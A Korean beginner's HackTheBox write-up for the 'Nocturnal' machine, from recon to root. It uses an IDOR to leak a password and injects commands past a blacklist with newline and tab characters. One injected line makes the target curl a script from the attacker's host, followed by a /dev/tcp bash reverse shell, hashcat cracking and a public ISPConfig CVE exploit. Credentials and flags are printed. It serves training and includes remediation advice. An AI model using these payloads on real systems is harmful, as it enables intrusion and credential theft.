
Nocturnal — HackTheBox Write-up
| Platform | HackTheBox |
| Difficulty | Easy |
| OS | Linux |
| Target IP | 타겟 IP |
| Author | FisMatHack |
이 글을 읽기 전에
이 라이트업은 HTB(HackTheBox) 입문자를 위해 작성되었습니다.
단순히 "어떻게 풀었는가"를 넘어 "왜 이렇게 하는가" 를 함께 설명합니다.
처음 접하는 개념이 나올 때마다 아래처럼 설명 박스가 등장합니다.
💡 개념 설명 — 처음 보는 용어나 기술을 설명합니다.
전체 공격 흐름 요약
[1단계 정찰] nmap으로 열린 포트 확인 → 22(SSH), 80(웹 서버)
↓
[2단계 열거] 웹사이트 탐색 → 파일 다운로드 기능에서 IDOR 발견
→ 다른 유저(amanda)의 파일 열람 → 패스워드 발견
↓
[3단계 침투] admin 패널 접근 → Backup 기능 코드 분석
→ 블랙리스트 우회 → 리버스 쉘 획득 (www-data)
↓
[4단계 이동] DB 파일에서 tobias 해시 크래킹 → SSH 접속 → user.txt
↓
[5단계 권한상승] 내부 포트 8080 발견 → ISPConfig 패널
→ CVE-2023-46818 익스플로잇 → root → root.txt목차
사용 도구
| 도구 | 역할 |
|---|---|
nmap |
열린 포트와 서비스를 스캔하는 도구 |
ffuf |
특정 파라미터에 단어 목록을 대입해 유효한 값을 찾는 퍼징 도구 |
burpsuite |
브라우저와 서버 사이에서 HTTP 요청을 가로채고 수정하는 프록시 도구 |
netcat (nc) |
네트워크 연결을 열고 닫는 도구. 리버스 쉘 수신에 사용 |
python3 -m http.server |
현재 폴더를 웹 서버로 임시 호스팅하는 명령 |
sqlite3 |
SQLite 데이터베이스 파일을 열고 쿼리하는 도구 |
hashcat |
해시(암호화된 패스워드)를 크래킹하는 도구 |
ssh -L |
SSH를 통해 포트를 포워딩(터널링)하는 기능 |
1. 환경 설정
타겟 정보 정리
Target IP : 타겟 IP ← 공격 대상 머신
Attacker IP : 공격자 VPN IP ← 본인 HTB VPN IP (ifconfig tun0으로 확인)
Hostname : nocturnal.htb ← 이후 스캔에서 발견
💡 HTB VPN이란?
HackTheBox 머신은 인터넷에 직접 연결되어 있지 않습니다.
HTB에서 제공하는 VPN에 접속해야만 타겟 머신과 통신할 수 있습니다.
OpenVPN 파일을 다운로드한 뒤sudo openvpn <파일명>.ovpn으로 연결합니다.
2. 정찰 — Nmap
💡 정찰(Reconnaissance)이란?
공격을 시작하기 전에 타겟에 대한 정보를 수집하는 단계입니다.
"어떤 서비스가 열려 있는가"를 파악해야 그 다음 공격 방향을 정할 수 있습니다.
2-1. 전체 포트 스캔
우선 1~65535번 전체 포트 중 어떤 포트가 열려 있는지 빠르게 확인합니다.
ports=$(nmap -p- --min-rate=1000 -T4 타겟 IP \
| grep '^[0-9]' \
| cut -d '/' -f 1 \
| tr '\n' ',' \
| sed s/,$//)
💡 명령어 설명
옵션 의미 -p-1번부터 65535번까지 전체 포트 스캔 --min-rate=1000초당 최소 1000개 패킷을 보내 속도를 높임 -T4스캔 속도 템플릿. T1(느림) ~ T5(매우 빠름) 중 T4 선택 grep '^[0-9]'숫자로 시작하는 줄만 필터링 (포트 정보가 있는 줄) cut -d '/' -f 122/tcp에서/기준으로 앞부분(22)만 추출tr '\n' ','줄바꿈을 쉼표로 바꿔 22,80형태로 만들기
이 명령으로 열린 포트 번호(22,80)가 $ports 변수에 저장됩니다.
2-2. 상세 서비스 스캔
열린 포트만 대상으로 어떤 서비스인지 정확히 파악합니다.
nmap -p$ports -sC -sV 타겟 IP -oN nmap/detailed.txt
💡 명령어 설명
옵션 의미 -p$ports앞서 찾은 포트만 스캔 -sC기본 스크립트 실행 (배너 정보, 취약점 힌트 등 자동 수집) -sV서비스 버전 탐지 -oN nmap/detailed.txt결과를 파일로 저장 (나중에 참고할 수 있도록)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.12
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Welcome to Nocturnal2-3. 결과 해석
| Port | Service | 지금 당장 가능한 것 |
|---|---|---|
22/tcp |
SSH | 로그인 크레덴셜이 없으므로 보류 |
80/tcp |
웹 서버(nginx) | 브라우저로 접속해서 탐색 시작 |
💡 nginx란?
Apache와 함께 가장 많이 쓰이는 웹 서버 소프트웨어입니다.
클라이언트(브라우저)의 요청을 받아 웹 페이지를 전달하는 역할을 합니다.
2-4. /etc/hosts 등록
브라우저로 http://타겟 IP 에 접속하면 http://nocturnal.htb 로 자동 이동됩니다.
이 도메인이 어디를 가리키는지 컴퓨터가 모르기 때문에 직접 알려줘야 합니다.
echo "타겟 IP nocturnal.htb" | sudo tee -a /etc/hosts
💡 /etc/hosts란?
DNS 서버에 물어보기 전에 컴퓨터가 먼저 참고하는 주소록 파일입니다.nocturnal.htb→타겟 IP이라는 규칙을 여기에 추가하면
브라우저가nocturnal.htb를 타겟 IP로 연결합니다.
3. 열거 — 웹 애플리케이션 분석
💡 열거(Enumeration)란?
접근 가능한 서비스에서 더 많은 정보를 수집하는 단계입니다.
어떤 페이지가 있는지, 어떤 파라미터를 받는지, 어떤 기능을 제공하는지 파악합니다.
3-1. 웹사이트 구조 파악
http://nocturnal.htb 에 접속하면 파일 업로드/공유 서비스가 나타납니다.
계정을 생성하고 로그인하면 아래 페이지들을 확인할 수 있습니다.
| URL | 설명 |
|---|---|
/dashboard.php |
파일 업로드, 본인 파일 목록 |
/view.php?username=&file= |
파일 뷰어 / 다운로드 |
/admin.php |
관리자 전용 패널 (일반 계정은 접근 불가) |
3-2. 파일 업로드 기능 테스트
PHP 파일(.php)을 업로드하면 다음 오류가 나타납니다.
Invalid file type. pdf, doc, docx, xls, xlsx, odt are allowed.더미 PDF 파일은 정상 업로드됩니다.
echo test > test.pdf
# → 업로드 성공
업로드 성공 후 다운로드 링크를 확인하면 구조가 보입니다.
http://nocturnal.htb/view.php?username=myuser&file=test.pdf
💡 URL 파라미터란?
URL에서?뒤에 오는key=value형식의 데이터입니다.username=myuser는 "myuser의 파일을 보여줘"라는 뜻이고,file=test.pdf는 "test.pdf 파일을 요청해"라는 뜻입니다.
3-3. IDOR 취약점 발견
username 파라미터 값을 다른 이름으로 바꾸면 어떻게 될까요?
# 존재하지 않는 유저로 변경
http://nocturnal.htb/view.php?username=nobody&file=test.pdf
→ "User not found." (응답 크기: 2985 바이트)
# 존재하는 유저로 변경
http://nocturnal.htb/view.php?username=amanda&file=test.pdf
→ amanda의 파일 목록 출력 (응답 크기: 3113 바이트)
💡 IDOR (Insecure Direct Object Reference)란?
서버가 "이 파라미터를 요청하는 사람이 실제로 권한이 있는가"를
확인하지 않고 요청을 그대로 처리하는 취약점입니다.쉽게 말해, URL에서
username=나를username=amanda로 바꿨을 때
서버가 "너는 amanda가 아닌데 왜 amanda 파일을 요청하냐"고 거부해야 하는데
그냥 amanda의 파일 목록을 돌려주는 상황입니다.
3-4. ffuf로 유저 이름 열거
응답 크기 차이를 이용해서 등록된 유저를 자동으로 찾아냅니다.
존재하지 않는 유저의 응답 크기가 2985 이므로, 그 크기를 제외(-fs)하고 퍼징합니다.
ffuf \
-u "http://nocturnal.htb/view.php?username=FUZZ&file=test.pdf" \
-w /usr/share/wordlists/seclists/Usernames/Names/names.txt \
-H "Cookie: PHPSESSID=<SESSION_ID>" \
-fs 2985
💡 명령어 설명
옵션 의미 -u "...FUZZ..."FUZZ위치에 단어 목록을 하나씩 대입-w대입할 단어 목록(워드리스트) 파일 경로 -H "Cookie: ..."로그인 상태를 유지하기 위해 세션 쿠키 전달 -fs 2985응답 크기가 2985인 결과는 필터링 (유저 없음 = 정상 응답이므로 제외)
amanda [Status: 200, Size: 3113, Words: 1175, Lines: 129]amanda 유저의 응답 크기가 달라졌습니다 → 업로드된 파일이 있다는 의미입니다.
3-5. amanda 파일 다운로드 → 크레덴셜 획득
# amanda의 파일 목록 확인
http://nocturnal.htb/view.php?username=amanda&file=test.pdf
# → Available files: privacy.odt
# privacy.odt 파일 다운로드
curl -s "http://nocturnal.htb/view.php?username=amanda&file=privacy.odt" \
-H "Cookie: PHPSESSID=<SESSION_ID>" \
-o privacy.odt
💡 curl이란?
터미널에서 HTTP 요청을 보내는 명령줄 도구입니다.
브라우저 없이도 웹 페이지를 요청하거나 파일을 다운로드할 수 있습니다.-H는 헤더 추가,-o는 출력 파일 지정입니다.
.odt 파일은 내부가 ZIP 구조로 되어 있어서 압축을 풀면 내용을 볼 수 있습니다.
unzip privacy.odt -d privacy_odt
cat privacy_odt/content.xml
Dear Amanda,
Nocturnal has set the following temporary password for you: arHkG7HAI68X8s1J.
This password has been set for all our services...
✅ 크레덴셜 #1 획득
계정 패스워드 amandaarHkG7HAI68X8s1J
4. 침투 — 리버스 쉘 획득
⚠️ 주의: 아래 기술은 허가된 환경(HTB, CTF 등)에서만 사용합니다.
4-1. amanda 로그인 → Admin 패널
amanda / arHkG7HAI68X8s1J 로 로그인하면 대시보드 상단에 Go to Admin Panel 버튼이 나타납니다.
Admin 패널(/admin.php)에서 두 가지 기능을 확인할 수 있습니다.
- File Structure — 서버에 있는 PHP 파일의 소스코드를 볼 수 있음
- Create Backup — 패스워드를 입력하면 백업 ZIP 파일을 생성
4-2. Backup 기능 테스트 — 어떻게 동작하는가
더미 패스워드로 백업을 생성하면 아래와 같은 zip 명령 출력이 화면에 나타납니다.
adding: admin.php (deflated 67%)
adding: dashboard.php (deflated 57%)
adding: nocturnal_database.db (deflated 97%)
...이 출력은 zip 명령이 실제로 서버에서 실행되고 있다는 증거입니다.
입력한 패스워드가 zip 명령의 인자로 직접 들어간다면 커맨드 인젝션 이 가능할 수 있습니다.
# 세미콜론으로 명령을 추가해서 테스트
password 입력: testpass; id
→ "Error: Try another password." # 필터링 있음 확인
💡 커맨드 인젝션(Command Injection)이란?
사용자 입력값이 서버의 쉘 명령어로 실행될 때 발생하는 취약점입니다.
예를 들어 서버가zip -P [사용자입력] ...을 실행할 때
사용자 입력에;id를 넣으면zip -P testpass; id ...로 바뀌어
서버에서id명령이 추가 실행됩니다.
4-3. 소스코드 분석 — 필터 우회법 찾기
Admin 패널 File Structure 에서 admin.php 를 클릭해 소스코드를 확인합니다.
function cleanEntry($entry) {
$blacklist_chars = [';', '&', '|', '$', ' ', '`', '{', '}', '&&'];
foreach ($blacklist_chars as $char) {
if (strpos($entry, $char) !== false) {
return false;
}
}
return htmlspecialchars($entry, ENT_QUOTES, 'UTF-8');
}
// 사용자 입력(password)이 명령어에 직접 삽입됨
$command = "zip -x './backups/*' -r -P " . $password . " " . $backupFile . " . > " . $logFile . " 2>&1 &";
차단된 문자들을 확인해 보면 개행(\n)과 탭(\t)이 블랙리스트에 없습니다.
| 문자 | URL 인코딩 | 차단 여부 | 활용 |
|---|---|---|---|
; & | $ ` 등 |
— | ✅ 차단 | — |
| 공백(스페이스) | %20 |
✅ 차단 | — |
개행(\n) |
%0a |
❌ 미차단 | zip 명령 줄을 끊고 새 명령 삽입 |
탭(\t) |
%09 |
❌ 미차단 | 공백 대신 단어 구분자로 사용 |
💡 URL 인코딩이란?
URL에서 사용할 수 없는 특수문자를%XX형식으로 변환하는 방법입니다.
예를 들어 개행 문자는%0a, 탭 문자는%09로 표현합니다.
서버는 이 값을 받아 다시 원래 문자로 디코딩해서 처리합니다.
페이로드 구조:
kavi %0a curl %09 http://공격자 VPN IP/shell %09 -o %09 /tmp/shell
↑ ↑ ↑
개행으로 탭으로 공백 대체 탭으로 공백 대체
zip 종료,
새 명령 시작4-4. 리버스 쉘 준비
💡 리버스 쉘(Reverse Shell)이란?
타겟 서버가 먼저 공격자의 컴퓨터로 연결을 시작해서
공격자가 서버의 명령줄을 원격으로 제어할 수 있게 하는 기법입니다.
방화벽이 외부에서 들어오는 연결은 막아도, 서버에서 나가는 연결은 허용하는 경우가 많기 때문에 자주 사용됩니다.
# 리버스 쉘 스크립트 생성 (공격자 컴퓨터에서 실행)
echo "bash -c 'bash -i >& /dev/tcp/공격자 VPN IP/4193 0>&1'" > shell
# 타겟이 다운로드할 수 있도록 임시 웹 서버 실행
sudo python3 -m http.server 80
별도 터미널에서 연결을 기다리는 리스너를 실행합니다.
nc -lvnp 4193
💡 명령어 설명
옵션 의미 -lListen 모드 (연결을 기다림) -vVerbose (연결 상태를 자세히 출력) -nDNS 조회 없이 IP만 사용 -p 41934193번 포트에서 대기
4-5. Burpsuite — 2단계 페이로드 전송
Burpsuite를 켜고 Admin 패널에서 Create Backup 버튼을 클릭한 뒤 요청을 인터셉트합니다.
💡 Burpsuite 인터셉트란?
브라우저와 서버 사이에 Burpsuite를 끼워 넣어서
전송 직전의 HTTP 요청을 가로채고 내용을 수정한 뒤 서버로 보내는 기능입니다.
브라우저에서 직접 수정하기 어려운 파라미터(예: 개행 문자 삽입)를 조작할 때 유용합니다.
Stage 1 — 타겟 서버에서 shell 스크립트 다운로드
인터셉트된 요청의 password 파라미터를 아래 값으로 교체합니다.
password=kavi%0acurl%09http://공격자 VPN IP/shell%09-o%09/tmp/shell&backup=공격자 HTTP 서버에서 아래 로그가 보이면 성공입니다.
타겟 IP - - [21/Mar/2025 04:10:19] "GET /shell HTTP/1.1" 200 -Stage 2 — 다운로드한 스크립트 실행
password=kavi%0abash%09/tmp/shell&backup=4-6. 리버스 쉘 수신 및 안정화
nc 리스너 창에서 연결이 들어옵니다.
listening on [any] 4193 ...
connect to [공격자 VPN IP] from (UNKNOWN) [타겟 IP] 54321
www-data@nocturnal:~/nocturnal.htb$www-data 권한으로 서버 쉘 획득 ✅
쉘을 더 편리하게 사용하기 위해 안정화합니다.
script -q /dev/null -c bash
💡 쉘 안정화란?
처음 획득한 리버스 쉘은 기능이 제한적입니다.
(방향키가 안 먹히거나, Ctrl+C를 누르면 연결이 끊기거나)script명령으로 더 완전한 터미널 환경을 만들 수 있습니다.
5. 횡적 이동 — tobias 계정 탈취
💡 횡적 이동(Lateral Movement)이란?
이미 침투한 계정(www-data)의 권한으로는 목표(user.txt, root.txt)에 접근하기 어렵습니다.
같은 시스템에서 더 높은 권한을 가진 다른 계정으로 전환하는 과정을 횡적 이동이라고 합니다.
5-1. DB 파일 발견
현재 위치(웹 루트)의 파일 목록을 확인합니다.
www-data@nocturnal:~/nocturnal.htb$ ls -la
-rw-r--r-- 1 www-data www-data 20480 Mar 21 08:00 nocturnal_database.db
-rw-r--r-- 1 www-data www-data 4096 Mar 21 07:00 admin.php
...
발견: 웹 루트에
nocturnal_database.dbSQLite 데이터베이스 파일이 있습니다.
웹 애플리케이션이 유저 정보를 저장하는 파일일 가능성이 높습니다.
5-2. SQLite DB 분석
sqlite3 nocturnal_database.db
💡 SQLite란?
소형 애플리케이션에서 자주 사용되는 경량 데이터베이스입니다.
별도의 서버 없이 파일 하나(*.db)가 데이터베이스 역할을 합니다.
sqlite> .tables
uploads users
sqlite> SELECT * FROM users;
1|admin|d725aeba143f575736b07e045d8ceebb
2|amanda|df8b20aa0c935023f99ea58358fb63c4
4|tobias|55c82b1ccd55ab219b3b109b07d5061d
유저 테이블에서 3명의 계정과 패스워드 해시를 확인했습니다.
💡 해시(Hash)란?
패스워드를 그대로 저장하면 DB가 유출됐을 때 바로 노출됩니다.
그래서 보통 패스워드를 해시 함수(MD5, bcrypt 등)로 변환한 값을 저장합니다.
여기서 보이는 32자리 16진수 값이 MD5 해시입니다.
해시 크래킹이란 해시 값을 거꾸로 원래 패스워드로 복원하는 작업입니다.
5-3. hashcat으로 MD5 해시 크래킹
amanda의 패스워드는 이미 알고 있으므로 tobias 해시만 크래킹합니다.
# 타겟 해시를 파일에 저장
echo -n "55c82b1ccd55ab219b3b109b07d5061d" > hash.txt
# hashcat으로 크래킹
hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt
💡 명령어 설명
옵션 의미 -m 0해시 타입 지정. 0= MD5rockyou.txt자주 쓰이는 패스워드 1400만 개가 담긴 워드리스트 hashcat은 워드리스트의 각 단어를 MD5로 변환한 뒤
타겟 해시와 비교하면서 일치하는 값을 찾아냅니다.
55c82b1ccd55ab219b3b109b07d5061d:slowmotionapocalypse
✅ 크레덴셜 #2 획득
계정 패스워드 tobiasslowmotionapocalypse
5-4. SSH 접속 → user.txt
ssh tobias@nocturnal.htb
# 패스워드 입력: slowmotionapocalypse
tobias@nocturnal:~$ cat user.txt
8c2ce65e9b96cc3862e28722803010c8
User Flag 획득 🚩
6. 권한 상승 — Root 획득
💡 권한 상승(Privilege Escalation)이란?
현재 계정(tobias)에서 최고 관리자 권한(root)을 획득하는 단계입니다.
root 권한이 있어야 시스템의 모든 파일과 설정에 접근할 수 있습니다.
6-1. 내부에서 열린 서비스 확인
tobias@nocturnal:~$ ss -tlnp
💡
ss -tlnp란?
현재 시스템에서 열려 있는 포트와 서비스 목록을 보여주는 명령입니다.
외부 nmap으로는 보이지 않는 내부 서비스(127.0.0.1에 바인딩된 것)도 확인됩니다.
옵션 의미 -tTCP 소켓만 표시 -l리스닝(대기 중) 중인 소켓만 표시 -n포트 번호를 그대로 표시 (서비스 이름으로 변환하지 않음) -p어떤 프로세스가 사용 중인지 함께 표시
State Recv-Q Send-Q Local Address:Port
LISTEN 0 4096 127.0.0.1:8080 0.0.0.0:*
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 511 0.0.0.0:80 0.0.0.0:*
발견:
127.0.0.1:8080— 서버 내부에서만 접근 가능한 서비스가 있습니다.
외부에서는 nmap으로도 보이지 않았던 포트입니다.
6-2. SSH 포트 포워딩으로 내부 서비스 접근
# 공격자 컴퓨터에서 실행
ssh -L 8080:127.0.0.1:8080 -N -vv tobias@nocturnal.htb
💡 SSH 포트 포워딩이란?
타겟 서버의 내부 포트를 공격자의 로컬 포트로 터널링하는 기능입니다.
위 명령을 실행하면 공격자 컴퓨터의127.0.0.1:8080이
타겟 서버의127.0.0.1:8080과 연결됩니다.
이제 공격자 브라우저에서http://127.0.0.1:8080을 열면
타겟의 내부 서비스에 접근할 수 있습니다.
옵션 의미 -L 8080:127.0.0.1:8080로컬 8080을 타겟의 127.0.0.1:8080으로 포워딩 -N명령 실행 없이 포트 포워딩만 유지
http://127.0.0.1:8080 접속 → ISPConfig 로그인 페이지 확인.
6-3. ISPConfig 로그인 및 버전 확인
admin / slowmotionapocalypse 로 로그인 시도 → 성공.
포인트: tobias의 패스워드가 ISPConfig 관리자 계정에도 동일하게 사용되고 있습니다.
새로운 서비스를 발견하면 기존에 확보한 크레덴셜을 반드시 교차 시도해 봐야 합니다.
로그인 후 Help → Version 확인.
ISPConfig Version: 3.2.10p1
💡 ISPConfig란?
Linux 서버에서 웹사이트, 이메일, DNS 등을 관리하는
오픈소스 호스팅 컨트롤 패널입니다.
6-4. CVE 검색 및 익스플로잇
버전을 확인했으면 알려진 취약점(CVE)을 검색합니다.
💡 CVE(Common Vulnerabilities and Exposures)란?
공개적으로 알려진 보안 취약점에 부여되는 고유 식별 번호입니다.CVE-2023-46818처럼 연도와 일련번호로 구성됩니다.
검색창에ISPConfig 3.2.10p1 exploit CVE를 검색하면 됩니다.
ISPConfig 3.2.10p1 에서 CVE-2023-46818 (PHP Code Injection) 발견.
| 항목 | 내용 |
|---|---|
| CVE | CVE-2023-46818 |
| 영향 버전 | ISPConfig ≤ 3.2.10p1 |
| 내용 | 인증된 관리자가 PHP 코드를 서버에서 실행할 수 있는 취약점 |
| 결과 | Root 권한으로 임의 명령 실행 가능 |
# PoC(개념 증명 코드) 다운로드
git clone https://github.com/bipbopbup/CVE-2023-46818-python-exploit.git
cd CVE-2023-46818-python-exploit
# 익스플로잇 실행
python3 exploit.py http://127.0.0.1:8080 admin slowmotionapocalypse
💡 PoC(Proof of Concept)란?
취약점이 실제로 동작한다는 것을 증명하는 코드입니다.
보안 연구자들이 발견한 취약점을 검증하기 위해 GitHub 등에 공개합니다.
HTB와 같은 허가된 환경에서 학습 목적으로 활용할 수 있습니다.
ispconfig-shell# id
uid=0(root) gid=0(root) groups=0(root)
Root 권한 획득 🚩
7. 플래그
# User Flag (tobias 계정으로 SSH 접속 후)
tobias@nocturnal:~$ cat user.txt
# Root Flag (CVE-2023-46818 쉘에서)
ispconfig-shell# cat /root/root.txt
| Flag | |
|---|---|
| 🚩 user.txt | 8c2ce65e9b96cc3862e28722803010c8 |
| 🚩 root.txt | 0a08155311776b7babfbb915dcc7925c |
8. 마무리 정리
획득한 크레덴셜 전체 흐름
| 순서 | 계정 | 패스워드 | 어디서 얻었나 | 어디에 썼나 |
|---|---|---|---|---|
| 1 | amanda |
arHkG7HAI68X8s1J |
IDOR → privacy.odt 평문 저장 |
웹 Admin 패널 접근 |
| 2 | tobias |
slowmotionapocalypse |
SQLite DB MD5 해시 크래킹 | SSH 접속 + ISPConfig admin |
취약점 정리
| # | 취약점 | 왜 발생했나 | 어떻게 막을 수 있나 |
|---|---|---|---|
| 1 | IDOR | username 파라미터를 세션으로 검증하지 않음 |
서버에서 세션 ↔ DB 소유자를 대조해서 검증 |
| 2 | 평문 크레덴셜 저장 | 업로드 파일 안에 패스워드를 그대로 기재 | 파일에 크레덴셜 저장 금지, 보안 교육 실시 |
| 3 | 커맨드 인젝션 | 블랙리스트 방식 + 개행·탭 미차단 | escapeshellarg() 사용 또는 화이트리스트 방식 |
| 4 | 크레덴셜 재사용 | 동일 패스워드를 여러 서비스에 사용 | 서비스마다 다른 패스워드 사용 |
| 5 | 미패치 소프트웨어 | ISPConfig를 최신 버전으로 업데이트하지 않음 | 정기적인 보안 패치 적용 |
배운 점
- IDOR 는 단순히 URL 파라미터를 바꿔보는 것만으로 발견할 수 있습니다.
- 블랙리스트 필터는 우회 가능성이 높습니다. 개행·탭처럼 예상치 못한 문자가 허용되어 있는지 확인하세요.
- 새로운 서비스를 발견하면 이미 갖고 있는 크레덴셜을 반드시 재시도해 보세요.
- 소프트웨어 버전을 확인하면 공개된 CVE를 검색해볼 것.
ss -tlnp로 내부에서만 열린 서비스를 반드시 확인하세요.
References
- CVE-2023-46818 NVD
- CVE-2023-46818 PoC
- HackTricks — Command Injection
- PayloadsAllTheThings — Command Injection
write-up by Elpam.k · elpam.log
'CTF > HTB' 카테고리의 다른 글
| Planning [EASY] (0) | 2026.05.14 |
|---|---|
| Tactics (0) | 2026.04.08 |
| Ignition (0) | 2026.04.07 |
| Pennyworth (0) | 2026.04.06 |
| Funnel (0) | 2026.04.06 |
Discussion 0